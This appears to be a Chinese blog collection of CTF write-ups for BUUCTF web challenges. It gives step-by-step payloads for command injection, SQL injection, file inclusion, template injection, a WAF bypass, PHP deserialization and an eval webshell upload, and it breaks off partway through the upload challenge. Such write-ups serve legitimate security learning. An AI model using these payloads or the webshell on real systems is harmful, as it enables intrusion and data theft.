BUUCTF Web 第一页全部Write ups

更多笔记,可以关注yym68686.top

目录

  • [极客大挑战 2019]Http
  • [ACTF2020 新生赛]Exec
  • [极客大挑战 2019]Secret File
  • [HCTF 2018]WarmUp
    • References
  • [极客大挑战 2019]EasySQL
    • References
  • [强网杯 2019]随便注
    • 方法一
    • 方法二
    • References
  • [极客大挑战 2019]Havefun
  • [SUCTF 2019]EasySQL
    • 方法一
    • 方法二
    • References
  • [ACTF2020 新生赛]Include
    • References
  • [极客大挑战 2019]LoveSQL
    • References
  • [GXYCTF2019]Ping Ping Ping
    • References
  • [极客大挑战 2019]Knife
    • References
  • [护网杯 2018]easy_tornado
    • References
  • [RoarCTF 2019]Easy Calc
    • References
  • [极客大挑战 2019]PHP
  • [极客大挑战 2019]Upload
  • [极客大挑战 2019]BabySQL
  • [ACTF2020 新生赛]Upload
  • [ACTF2020 新生赛]BackupFile
  • [GKCTF2020]cve版签到
  • [HCTF 2018]admin
    • 方法一
    • 方法二 Unicode欺骗
    • 方法三 session伪造
  • [极客大挑战 2019]BuyFlag
  • [SUCTF 2019]CheckIn
    • `.user.ini`的利用条件:
  • [BJDCTF2020]Easy MD5
  • [ZJCTF 2019]NiZhuanSiWei
    • DATA URI Scheme
  • [CISCN2019 华北赛区 Day2 Web1]Hack World
  • [极客大挑战 2019]HardSQL
  • [网鼎杯 2018]Fakebook
    • 一般的解题流程
    • 方法一
    • 方法二
  • [GXYCTF2019]BabySQli
  • [网鼎杯 2020 青龙组]AreUSerialz
    • 方法一
    • 方法二
    • 方法三
  • [MRCTF2020]你传你呢
  • [GYCTF2020]Blacklist
  • [MRCTF2020]Ez_bypass

[极客大挑战 2019]Http

  • 查看源代码,发现“氛围”这两个字链接到一个地址
http://node3.buuoj.cn:27957/Secret.php

用Burp Suite请求

GET /Secret.php HTTP/1.1
Host: node3.buuoj.cn:27957
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36 Edg/88.0.705.50
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

响应提示

It doesn't come from 'https://www.Sycsecret.com'

修改请求为

GET /Secret.php HTTP/1.1
Host: node3.buuoj.cn:27957
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36 Edg/88.0.705.50
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
Referer:https://www.Sycsecret.com

响应提示

Please use "Syclover" browser

修改请求:

GET /Secret.php HTTP/1.1
Host: node3.buuoj.cn:27957
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Syclover
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
Referer:https://www.Sycsecret.com

响应提示:

No!!! you can only read this locally!!!

修改请求:

GET /Secret.php HTTP/1.1
Host: node3.buuoj.cn:27957
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Syclover
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
Referer:https://www.Sycsecret.com
X-Forwarded-For:127.0.0.1

发送后获得flag。

[ACTF2020 新生赛]Exec

先输入

127.0.0.1;ls -al;

返回正常,在输入

127.0.0.1;cd /;ls -al

发现flag文件

在输入

127.0.0.1;cd /;cat flag

得到flag

[极客大挑战 2019]Secret File

用Burp Suite请求,发现隐藏文件Archive_room.php,修改请求访问Archive_room.php,又发现隐藏文件action.php,修改请求,访问action.php,响应为






用浏览器访问secr3t.php,获得php代码


    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
     
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>

访问flag.php,发现没有flag,仔细检查php代码,发现文件包含漏洞,没有过滤filter,可以用php://fileter来获取文件,修改请求:

http://66d4702a-63f9-449e-93e3-13a01091a1a2.node3.buuoj.cn/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

得到base64编码,解密获得flag

[HCTF 2018]WarmUp

打开网站是一个笑脸,按F12发现source.php文件。


<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Documenttitle>
head>
<body>
    
    <br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" />body>
html>

打开source.php,输入url:

http://fc492498-397a-4fee-8bcd-678271197de5.node3.buuoj.cn/source.php

发现php源码:


    highlight_file(__FILE__);
    class emmm
    {
     
        public static function checkFile(&$page) //检查file的值是否合法
        {
     
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];//白名单,只有source.php和hint.php合法
            if (! isset($page) || !is_string($page)) {
     // file的值不能为空,并且file的值必须为字符串
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
     //判断file的值是否在白名单里面
                return true;
            }

            $_page = mb_substr(//分割字符串,带有mb_前缀的substr函数可以截取非字母字符串
                $page,
                0,
                mb_strpos($page . '?', '?')//在page里面找第一个问号所在的位置
            );//substr函数就是查找page字符串,从第一个字符截取到第一个问号的字符串
            if (in_array($_page, $whitelist)) {
                return true;
            }//再判断_page是否在白名单里面

            $_page = urldecode($page);//对page进行解码
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );//再次截取字符串
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])//满足三个条件就可以执行if
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

发现白名单里面还有hint.php,访问hint.php

flag not here, and flag in ffffllllaaaagggg

说明flag在ffffllllaaaagggg里面。

我们要创建的url应是下列形式:

http://fc492498-397a-4fee-8bcd-678271197de5.node3.buuoj.cn/source.php?file=...

输入后把file的值送给page变量,因为page可能有我们要找的flag的值,所以checkFile函数里面的第一次判断白名单肯定不在白名单里面,不能返回true,所以我们可以利用第二次判断白名单的if,在判断之前先要对page分割,从page开始截取到第一个问号,再判断是否在白名单里面,所以我们的page开头应该是source.php?...hint.php?...,省略号后面就是我们要找的flag路径。

todo那问号怎么办?

但我们并不知道flag在哪里,所以我们要一个个尝试,首先构造:

http://fc492498-397a-4fee-8bcd-678271197de5.node3.buuoj.cn/source.php?file=source.php?/ffffllllaaaagggg

发现不行

http://fc492498-397a-4fee-8bcd-678271197de5.node3.buuoj.cn/source.php?file=source.php?/../ffffllllaaaagggg

最后

http://fc492498-397a-4fee-8bcd-678271197de5.node3.buuoj.cn/source.php?file=source.php?/../../../../../ffffllllaaaagggg

得到flag

References

https://blog.csdn.net/weixin_44348894/article/details/105255603

[极客大挑战 2019]EasySQL

一般数据库查询语句为:

select * from table_name where username='xxxx' and password='xxxxxx';

进入网站发现要输入用户名与密码

用户名输入

1' or 1=1 #

那么查询语句就会变成

select * from table_name where username='1' or 1=1 #' and password='xxxxxx' ;

虽然username='1'查询不到,但1=1恒成立,密码随便填。所以得到flag。

然后是官方的Payload:

admin/admin'||'1

url

http://67dd65a1-3417-47c4-81b0-2efdfe296eb4.node3.buuoj.cn/check.php?username=admin/admin'||'1&password=admin/admin'||'1

References

https://blog.csdn.net/TM_1024/article/details/106156448

[强网杯 2019]随便注

进入网站就一个输入框。

输入

1'   报错
1'#  正常且为True

所以存在注入,并且参数使用单引号闭合。

首先获得列数

1' order by 1#
1' order by 2#
1' order by 3#  报错

所以列数为两列。

先查询数据库

1' union select 1,database()#

报错:

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

发现利用正则匹配过滤了关键字:selectupdatedropdeleteinsertwhere,因此不能使用select

网站源码 todo源码怎么来的?

<html>
<head>
    <meta charset="UTF-8">
    <title>easy_sql</title>
</head>

<body>
<h1>取材于某次真实环境渗透,只说一句话:开发和安全缺一不可</h1>
<!-- sqlmap是没有灵魂的 -->
<form method="get">
    姿势: <input type="text" name="inject" value="1">
    <input type="submit">
</form>

<pre>

function waf1($inject) {
     
    preg_match("/select|update|delete|drop|insert|where|\./i",$inject) && die('return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);');
}
function waf2($inject) {
     
    strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") && strstr($inject, "prepare")');
}
if(isset($_GET['inject'])) {
     
    $id = $_GET['inject'];
    waf1($id);
    waf2($id);
    $mysqli = new mysqli("127.0.0.1","root","root","supersqli");
    //多条sql语句
    $sql = "select * from `words` where id = '$id';";
    $res = $mysqli->multi_query($sql);
    if ($res){
     //使用multi_query()执行一条或多条sql语句
      do{
     
        if ($rs = $mysqli->store_result()){
     //store_result()方法获取第一条sql语句查询结果
          while ($row = $rs->fetch_row()){
     
            var_dump($row);
            echo "
"
; } $rs->Close(); //关闭结果集 if ($mysqli->more_results()){ //判断是否还有更多结果集 echo "
"
; } } }while($mysqli->next_result()); //next_result()方法获取下一结果集,返回bool值 } else { echo "error ".$mysqli->errno." : ".$mysqli->error; } $mysqli->close(); //关闭数据库连接 } ?> </pre> </body> </html>

发现multi_query()函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。因此支持堆叠查询。

查询表名:

-1';show tables#

网站显示

array(1) {
  [0]=>
  string(16) "1919810931114514"
}

array(1) {
  [0]=>
  string(5) "words"
}

查看1919810931114514表的字段,注意添加反引号```。

-1';show columns from `1919810931114514`#

网站显示

array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

查看words表的字段

-1';show columns from `words`#

网站显示

array(6) {
  [0]=>
  string(2) "id"
  [1]=>
  string(7) "int(10)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

array(6) {
  [0]=> 
  string(4) "data"
  [1]=>
  string(11) "varchar(20)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

因此数据库下的表结构:

  • words
    • id int(10)
    • data varchar(20)
  • 1919810931114514
    • flag varchar(100)

因为flag在1919810931114514表中,那么源码查询的sql语句就为:

select flag from `1919810931114514`

但程序过滤了select,我们不可以直接用。

方法一

我们可以使用预编译的方法来绕过select查询

预编译的语法:

set                用于设置变量名和值
prepare            用于预备一个语句,并赋予名称,以后可以引用该语句
execute            执行语句
deallocate prepare 用来释放掉预处理的语句

所以我们构造:

set @sql=concat('selec','t flag from `1919810931114514`');
prepare presql from @sql;
execute presql;
deallocate prepare presql;

或者

set @sql=concat('selec','t * from `1919810931114514`');
prepare presql from @sql;
execute presql;
deallocate prepare presql;

连成一行,输入

-1';set @sql=concat('selec','t flag from `1919810931114514`'); prepare presql from @sql; execute presql; deallocate prepare presql;

网页显示

strstr($inject, "set") && strstr($inject, "prepare");

过滤了setprepare,但strstr会区分大小写,所以我们可以通过大写绕过过滤。

修改输入:

-1';Set @sql=concat('selec','t flag from `1919810931114514`'); Prepare presql from @sql; execute presql; deallocate prepare presql;

得到flag

方法二

源代码里面sql查询语句为:

select * from words where id='$id';

这句话意思是在表words里查询名为id的字段的内容,而字段flag在表1919810931114514里面,所以我们只要把1919810931114514名字改成wordswords改成其他任意名字,flag改为id,就可以实现自动查询。

我们可以构造下列语句:

1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);#

连成一行就是:

1';alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

在网页输入这一行后,在输入:

1' or '1=1

得到flag

References

https://zhuanlan.zhihu.com/p/78989602

https://foxgrin.github.io/posts/42551/

[极客大挑战 2019]Havefun

进入网站发现一只猫。F12发现注释代码:


cat=dog时,输出flag,浏览器输入url

http://aa3367cb-d966-4689-a6f1-a7241f7e3303.node3.buuoj.cn/?cat=dog

得到url

[SUCTF 2019]EasySQL

查看数据库,最后分号不能少:

1;show databases;

网页显示:

Array ( [0] => 1 ) Array ( [0] => ctf ) Array ( [0] => ctftraining ) Array ( [0] => information_schema ) Array ( [0] => mysql ) Array ( [0] => performance_schema ) Array ( [0] => test )

输入:

1;select database();

发现正常返回数据库

Array ( [0] => 1 ) Array ( [0] => ctf )

所以select没有被过滤。

查看数据库ctf中的表名:

1;use ctf;show tables;

网页显示:

Array ( [0] => 1 ) Array ( [0] => Flag )

我们可以使用预编译的方法来查询

预编译的语法:

set                用于设置变量名和值
prepare            用于预备一个语句,并赋予名称,以后可以引用该语句
execute            执行语句
deallocate prepare 用来释放掉预处理的语句

所以我们构造:

set @sql=concat('selec','t * from `Flag`');
prepare presql from @sql;
execute presql;
deallocate prepare presql;

排成一排

-1;Set @sql=concat('selec','t * from `Flag`'); Prepare presql from @sql; execute presql; deallocate prepare presql;

网页返回no,说明关键词被过滤。具体是prepare

方法一

网页源码里面的查询语句:

"select ".$post['query']."||flag from Flag"

我们可以叫系统把管道符号当成连接符,在网页里输入:

1;set sql_mode=pipes_as_concat;select 1

得到flag,显示:

Array ( [0] => 1 ) Array ( [0] => 1flag{14aa9272-a89a-467a-bc8a-91aaa881afba} )

系统里连起来的查询语句为:

select 1;set sql_mode=pipes_as_concat;select 1||flag from Flag

||的作用就是把1和flag的具体内容连接起来显示。

方法二

输入

*,1

直接得到答案

todo这里如果改成*,2跟*,1有什么区别?

sql语句就变成了select *,1||flag from Flag,等价于select *,1 from Flag,直接查询出了Flag表中的所有内容。

todo这里为什么1||flag最后变成1而不是flag。

题目源码:


    session_start();

    include_once "config.php";

    $post = array();
    $get = array();
    global $MysqlLink;

    //GetPara();
    $MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
    if(!$MysqlLink){
     
        die("Mysql Connect Error!");
    }
    $selectDB = mysqli_select_db($MysqlLink,$dataName);
    if(!$selectDB){
     
        die("Choose Database Error!");
    }

    foreach ($_POST as $k=>$v){
     
        if(!empty($v)&&is_string($v)){
     
            $post[$k] = trim(addslashes($v));
        }
    }
    foreach ($_GET as $k=>$v){
     
        }
    }
    //die();
?>

<html>
<head>
</head>

<body>

<a> Give me your flag, I will tell you if the flag is right. </ a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>



    if(isset($post['query'])){
     
        $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
        //var_dump(preg_match("/{$BlackList}/is",$post['query']));
        if(preg_match("/{
       $BlackList}/is",$post['query'])){
     
            //echo $post['query'];
            die("Nonono.");
        }
        if(strlen($post['query'])>40){
     
            die("Too long.");
        }
        $sql = "select ".$post['query']."||flag from Flag";
        mysqli_multi_query($MysqlLink,$sql);
        do{
     
            if($res = mysqli_store_result($MysqlLink)){
     
                while($row = mysqli_fetch_row($res)){
     
                    print_r($row);
                }
            }
        }while(@mysqli_next_result($MysqlLink));

    }

?>

发现黑名单屏蔽了很多关键词。

References

https://blog.csdn.net/qq_43619533/article/details/103434935

https://github.com/TheKingOfDuck/fuzzDicts

http://www.xianxianlabs.com/blog/2020/05/27/355.html

https://blog.csdn.net/qq_43619533/article/details/103434935

https://www.shuzhiduo.com/A/n2d9yqoQdD/

[ACTF2020 新生赛]Include

进入网站发现tips,点击后发现

Can you find out the flag?

查看url为:

http://15491a3b-7f3c-4367-bafa-36cc97c750c0.node3.buuoj.cn/?file=flag.php

猜想flag在flag.php里面。

想到伪协议php://filter,该伪协议读取源代码并进行base64编码输出,输入url:

http://15491a3b-7f3c-4367-bafa-36cc97c750c0.node3.buuoj.cn/?file=php://filter/read=convert.base64-encode/resource=flag.php

网页显示:

PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7YjUyNzcyODUtNDE3Yy00NjVmLWJjZTAtZWNlNTQzNGE1YWY2fQo=

base64解码:


echo "Can you find out the flag?";
//flag{b5277285-417c-465f-bce0-ece5434a5af6}

得到flag

References

https://blog.csdn.net/kuller_Yan/article/details/106592442

base64解码:

https://gchq.github.io/CyberChef/#recipe=From_Base64(‘A-Za-z0-9%2B/%3D’,true)&input=UEQ5d2FIQUtaV05vYnlBaVEyRnVJSGx2ZFNCbWFXNWtJRzkxZENCMGFHVWdabXhoWno4aU93b3ZMMlpzWVdkN1lqVXlOemN5T0RVdE5ERTNZeTAwTmpWbUxXSmpaVEF0WldObE5UUXpOR0UxWVdZMmZRbz0

[极客大挑战 2019]LoveSQL

打开网页,发现登录页面。

先用万能登录钥匙。

输入用户名:

admin' or '1'='1

密码随便填。

网页回显:

Login Success!
Hello admin!
Your password is 'abe1a437b5b956f4db70211b8fcc27e1'

获得用户名,然后判断列数,输入:

admin' order by 3#

没报错。

再输入:

admin' order by 4#

报错,说明有3列,即三个字段。

使用union查询回显点位:

1' union select 1,2,3#

网页回显:

Hello 2!
Your password is '3'

说明回显点位为2和3,查询当前数据库名及版本:

1' union select 1,database(),version()#

网页回显:

Hello geek!
Your password is '10.3.18-MariaDB'

查询数据库geek里面的表名:

1' union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema='geek' #

网页回显:

Hello 2!
Your password is 'geekuser,l0ve1ysq1'

查询数据库geek中表l0ve1ysq1中所有字段名称

1' union select 1, 2, group_concat(column_name) from information_schema.columns where table_schema='geek' and table_name='l0ve1ysq1' #

网页回显:

Hello 2!
Your password is 'id,username,password'

查询数据库geek中表l0ve1ysq1password字段的值

1' union select 1, 2, group_concat(password) from geek.l0ve1ysq1 #

网页回显:

Hello 2!
Your password is 'wo_tai_nan_le,glzjin_wants_a_girlfriend,biao_ge_dddd_hm,linux_chuang_shi_ren,a_rua_rain,yan_shi_fu_de_mao_bo_he,cl4y,di_2_kuai_fu_ji,di_3_kuai_fu_ji,di_4_kuai_fu_ji,di_5_kuai_fu_ji,di_6_kuai_fu_ji,di_7_kuai_fu_ji,di_8_kuai_fu_ji,Syc_san_da_hacker,flag{0975daee-9f30-4038-b53d-3c2e8c590cbc}'

得到flag。

References

https://blog.csdn.net/weixin_44037296/article/details/105084538

[GXYCTF2019]Ping Ping Ping

首先进入网页,提示:

/?ip=

利用127.0.0.1;ls -al查看当前目录所有文件

输入url:

http://54ab22f2-2887-4f25-9af1-92b34dbffd13.node3.buuoj.cn/?ip=127.0.0.1;ls -al

网页显示:

/?ip= fxck your space!

说明过滤了空格,这里空格用$IFS$9代替。

输入url:

http://54ab22f2-2887-4f25-9af1-92b34dbffd13.node3.buuoj.cn/?ip=127.0.0.1;ls$IFS$9-al

网页显示:

/?ip=
total 8
drwxr-xr-x    1 www-data www-data        39 Mar 10 13:11 .
drwxr-xr-x    1 root     root            18 Feb 15  2019 ..
-rwxr-xr-x    1 www-data www-data        66 Mar 10 13:11 flag.php
-rwxr-xr-x    1 www-data www-data       574 Dec 25  2019 index.php

发现flag文件,输入:

http://54ab22f2-2887-4f25-9af1-92b34dbffd13.node3.buuoj.cn/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php

F12

/?ip=
<pre>PING 127.0.0.1 (127.0.0.1): 56 data bytes

$flag = "flag{ce6fa573-9e91-4124-be54-f53c05397f51}";
?>

得到flag

References

https://www.cnblogs.com/wangtanzhi/p/12246386.html

命令注入

[极客大挑战 2019]Knife

进入网页,提示:

我家菜刀丢了,你能帮我找一下么
eval($_POST["Syc"]);
Syclover @ cl4y

说明连接密码是Syc。

利用中国蚁剑空白区域右击添加数据,设置如下:

URL地址  http://942c3635-ef55-4623-91f7-b4e046830bff.node3.buuoj.cn/
连接密码 Syc
网站备注
编码设置 UTF8
连接类型 PHP

其他不变。密码可以随便设置,但要跟$_POST[“Syc”]一致。

连接后查看网站文件,在根目录发现flag。

References

Web-文件上传

[护网杯 2018]easy_tornado

进入网站显示三个文件链接:

/flag.txt
/welcome.txt
/hints.txt

点开/flag.php文件链接:

/flag.txt
flag in /fllllllllllllag

点开/welcome.txt

/welcome.txt
render

render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页 render配合Tornado使用。

Tornado是一种Web服务器软件的开源版本。Tornado和现在的主流Web服务器框架(包括大多数 Python 的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。

点开/hint.txt

/hints.txt
md5(cookie_secret+md5(filename))

此时url为:

http://b61e1495-36e5-47e7-b09a-34a3a649d67b.node3.buuoj.cn/file?filename=/hints.txt&filehash=74c408ee3fa20381ac36f46012932dc9

可见filehash后面的参数是md5(cookie_secret+md5(filename))生成的。

tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settingshandler指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量。

构造url:

http://b61e1495-36e5-47e7-b09a-34a3a649d67b.node3.buuoj.cn/error?msg={
    {handler.settings}}

网页显示:

{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': 'e39980a5-729d-40b0-9b61-e7225dc5b1d0'}

利用python脚本生成filehash

import hashlib
hash = hashlib.md5()
filename = '/fllllllllllllag'
cookie_secret = "e39980a5-729d-40b0-9b61-e7225dc5b1d0"
hash.update(filename.encode('utf-8'))
s1 = hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode('utf-8'))
print(hash.hexdigest())

运行后输出:

d3136a4cc1a1d466c4f89ba75c10fb50

拼接url:

http://b61e1495-36e5-47e7-b09a-34a3a649d67b.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=d3136a4cc1a1d466c4f89ba75c10fb50

得到flag:

/fllllllllllllag
flag{be1999aa-0f7d-42d2-8b9b-20bb79b86066}

References

https://www.cnblogs.com/xhds/p/12285121.html

https://www.tornadoweb.org/en/latest/guide/templates.html#template-syntax

[RoarCTF 2019]Easy Calc

进入网页,发现计算框,输入数学表达式1+1之类的都可以算,按F12,发现请求地址:



解析calc.php?num=encodeURIComponent($("#content").val())$("#content").val()的意思:

获取idcontent的HTML标签元素的值,是JQuery

  • $("#content")相当于document.getElementById("content");
  • $("#content").val()相当于document.getElementById("content").value;

请求地址为calc.php,输入url:

http://node3.buuoj.cn:28695/calc.php

获得calc.php源代码:


error_reporting(0);
if(!isset($_GET['num'])){
     
    show_source(__FILE__);
}else{
     
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
     
                if (preg_match('/' . $blackitem . '/m', $str)) {
     
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

calc.php里面发现waf规则。绕过waf,首先了解要php的解析规则,当php进行解析的时候,如果变量前面有空格,会去掉前面的空格再解析,那么我们就可以利用这个特点绕过wafnum被限制了,那么' num'就不会被限制,在num前面加了空格,if判断就进不去了,进入了else,所以就绕过了waf,因为waf只是限制了numwaf并没有限制' num',当php解析的时候,又会把' num'前面的空格去掉再解析,这样有变成了num但这个时候没有任何限制。所以我们这个时候就可以任意传递非法字符了。eval('echo '.$str.';');是执行我们命令的地方。

PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。例如:/?foo=bar变成Array([foo] => "bar")

查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如:/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPSWAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:

/news.php?%20news[id%00=42"+AND+1=0--

上述PHP语句的参数%20news[id%00的值将存储到$_GET["news_id"]中。

HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:

  • 删除空白符
  • 将某些字符转换为下划线(包括空格)

例如:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-96qjml0Q-1616761620627)(https://s3-us-west-2.amazonaws.com/secure.notion-static.com/fcda8bfa-c4fe-4d8f-939e-83b5b0532f6d/1567560438_5d6f12f680afe.jpg)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WhOI0qM5-1616761620628)(https://s3-us-west-2.amazonaws.com/secure.notion-static.com/f3a4edef-01ec-4b47-b4fa-3cbd608bbed8/1567560448_5d6f13004035f.jpg)]

查看根目录文件,输入url:

http://node3.buuoj.cn:28695/calc.php? num=var_dump(scandir(chr(47)))

chr(47)/的Ascii码,因为/被过滤了。

网页显示:

array(24) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(4) "boot" [5]=> string(3) "dev" [6]=> string(3) "etc" [7]=> string(5) "f1agg" [8]=> string(4) "home" [9]=> string(3) "lib" [10]=> string(5) "lib64" [11]=> string(5) "media" [12]=> string(3) "mnt" [13]=> string(3) "opt" [14]=> string(4) "proc" [15]=> string(4) "root" [16]=> string(3) "run" [17]=> string(4) "sbin" [18]=> string(3) "srv" [19]=> string(8) "start.sh" [20]=> string(3) "sys" [21]=> string(3) "tmp" [22]=> string(3) "usr" [23]=> string(3) "var" }

发现flagg文件,将/flagg转化为ASCII码,获取flagg内容,输入:

http://node3.buuoj.cn:28695/calc.php? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

获得flag。

  • scandir()

函数会把扫描的目录值,写成数组,返回

  • var_dump()

函数用于输出变量的相关信息。

References

https://www.freebuf.com/articles/web/213359.html

https://blog.csdn.net/qq_42967398/article/details/103512717

https://my.oschina.net/u/4410118/blog/3344782

https://blog.csdn.net/weixin_44077544/article/details/102630714

https://www.cnblogs.com/chrysanthemum/p/11757363.html

https://www.cnblogs.com/h3zh1/p/12621909.html

[极客大挑战 2019]PHP

进入网站提示:

因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯
不愧是我!!!

dirsearch扫描网页,输入命令:

python dirsearch.py -u http://6d647a0e-76d1-4a02-bb1b-5678cc5abe93.node3.buuoj.cn/ -e * -x 429 -w db/mylist.txt

发现www.zip文件,下载后查看index.php源码:

include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);

加载了一个class.php文件,然后采用get传递一个select参数,随后将之反序列化,打开class.php


include 'flag.php';

error_reporting(0);

class Name{
     
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
     
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
     
        $this->username = 'guest';
    }

    function __destruct(){
     
        if ($this->password != 100) {
     
            echo "
NO!!!hacker!!!
"
; echo "You name is: "; echo $this->username;echo "
"
; echo "You password is: "; echo $this->password;echo "
"
; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "
hello my friend~~
sorry i can't give you the flag!"
; die(); } } } ?>

在执行__destruct()的时候,如果password=100username=admin,可以获得flag,构造序列化:



class Name{
     
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
     
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new Name('admin', 100);
var_dump(serialize($a));

?>

得到的序列化为:

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

Name旁边有两个不可显示字符没有显示出来。在反序列化的时候会首先执行__wakeup()魔术方法,但是这个方法会把我们的username重新赋值,所以我们要考虑的就是怎么跳过__wakeup(),而去执行__destruct,跳过__wakeup():在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行:

O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

删掉不可见字符,private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上0的前缀。字符串长度也包括所加前缀的长度,改造一下序列化:

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

输入url:

/?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

得到flag。

References

https://segmentfault.com/a/1190000022534926

[极客大挑战 2019]Upload

新建php文件,上传。

 @eval($_POST["password"]);?>

网页提示:必须是图片

所以新建1.php.jpg文件,写入:

 @eval($_POST["password"]);?>

上传,网页提示,文件包含

NO! HACKER! your file included '

查阅资料,发现一句话木马,文件头表示一幅图片。

GIF89a 

新建1.phtml文件,填入一句话木马,上传。

附常见的php后缀:

php2, php3, php4, php5, phps, pht, phtm, phtml

References:

https://blog.csdn.net/rfrder/article/details/109225258

burp拦截:

